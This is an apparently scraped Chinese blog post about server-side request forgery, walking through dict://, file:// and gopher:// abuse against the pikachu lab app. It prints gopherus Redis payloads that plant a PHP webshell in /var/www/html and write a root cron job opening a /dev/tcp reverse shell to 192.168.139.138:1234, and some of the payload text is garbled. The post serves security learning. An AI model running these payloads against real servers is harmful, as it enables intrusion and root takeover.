当前位置: 首页 > news >正文

ssrf实现

一、SSRF (Server-side Request Forge, 服务端请求伪造)

1、概念:

      它是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。漏洞产生由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

2、ssrf示意图

1.攻击者向服务器A发送一个让服务器A访问另外一个服务器B的请求
2.服务器A向服务器B发送一个请求
3.服务器B向服务器A发送响应
4.服务器A向黑客发送服务器B的响应

3、Ssrf类型:

Basic ssrf:返回结果到客户端,如果响应是一个网站,就会显示相应的界面或对应的html代码
Bind ssrf: 不会返回响应给客户端。

4、SSH未创建写shell的SSRF实现

要实现通过SSRF攻击未创建写shell的SSH,攻击者需要利用存在SSRF漏洞的服务器来伪造请求,这些请求可以用来与目标系统的SSH服务通信。通常,这涉及到以下步骤:                           1.发现SSRF漏洞:攻击者首先需要找到一个可以通过用户可控制的输入来发起外部请求的服务器。
2.利用SSRF漏洞:攻击者构造一个特殊的URL,使服务器向目标系统的SSH端口发送请求。
3.绕过身份验证:如果目标系统的SSH服务没有正确配置,攻击者可能会尝试利用已知的漏洞或默认凭证来绕过身份验证。
4.执行命令:一旦建立了SSH连接,攻击者可以尝试在目标系统上执行命令,以获取shell访问权限。
5.持久化访问:为了保持对目标系统的控制,攻击者可能会尝试写入SSH的authorized_keys文件,添加自己的公钥,从而实现无密码登录。

复刻

1.dict 协议

       dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务器版本信息利用dict协议探测端口

      所以像 mysql 的服务,因为也是基于 tcp 协议开发,所以用 dict 协议的方式打开也能强行读取一些 mysql 服务的返回内容

127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

Dict服务器和客户机使用TCP端口3306

Curl:一种命令行工具,作用是发出网络请求,获取数据

Curl -v:显示http通信的整个过程,包括端口连接和HTTP request头信息

2.file协议

     file协议主要用于访问(读取)本地计算机中的文件信息,好比通过Windows的资源管理器中打开文件或者通过右键单击‘打开’一样。

基本格式:  file:/// 文件路径

127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///D:\phpstudy_pro\WWW\pikachu-master\vul\ssrf\ssrf.php

3.gopher协议

gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

gopher协议数据格式:

gopher://ip:port/_TCP/IP数据流

注意:gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行.

            数据流末尾使用%0d%0a代表消息结束。

在ubuntu中输入:gopherus --exploit redis

(1)PHPshell

urldeciode解码:

$8

flushall

*3

$3

set

$1

1

$20

<?php phpinfo();

$4
$6

config

$3

set

dir

$13

/var/www/html
*4
$6
config

$3

set

$10

dbfilename
$9
shel1.php

*1

$4

save

?>

//内存数据落盘

将我写入的  <?php phpinfo();  存储到  shel1.php  文件,文件路径是  /var/www/html

(2)Reverseshell

urldeciode解码:

gopher://127.0.0.1:6379/*1

$8

flushall

*3

$3

set

$1

1

$70

LF LF*/1 * **bash -c"shi>& /dev/tcp/192.168.139.138/1234 0>&1"1 F

$4
$16

config

$3

set

dir

$16

/var/spool/cron/
*4
$6
config

$3

set

$9

dbfilename
$4
root

*1

$4

save

?>

一分钟执行一句话,反弹到192.168.139.138的1234端口(需要监听到1234端口),并将其写入到root文件中,(因为是依root权限写入,因此反弹也是root权限)


http://www.mrgr.cn/news/11262.html

相关文章:

  • Docker Compose构建及运行多容器利器
  • vue devserver proxy设置跨域详解
  • GPT-SovitsV2,支持多语种,多音字优化,更好的音色,ZeroShot(WIN/MAC)
  • Spring Task定时任务
  • 采用ELK搭建日志平台,Elasticsearch安装
  • 基于R语言遥感随机森林建模与空间预测
  • Vue中使用el-table自定义序号翻页后又从1开始没有连续
  • [Day 61] 區塊鏈與人工智能的聯動應用:理論、技術與實踐
  • 三层链路聚合
  • 【本社翻译】Unity官方XR开发电子书
  • 收银系统源码助力零售门店数字化升级
  • 【Android】Navigation动态设置Graph和Launch参数
  • 广播语义学许多PyTorch操作支持NumPy的广播语义。python编程 人工智能 神经网络
  • 【Tools】Prompt 的概念介绍
  • 探索商品详情API中的重量与体积信息:解锁精准物流管理与用户购物体验的秘密
  • 在VB.net中,LINQ有什么查询表达式,举例说明
  • 深度学习系列71:表格检测和识别
  • 探索Git:分布式版本控制系统的力量(二)
  • java 使用 aws s3 sdk 通过分段下载来实现 html 页面 video 的断点播放、拖动进度播放
  • nginx的代理服务器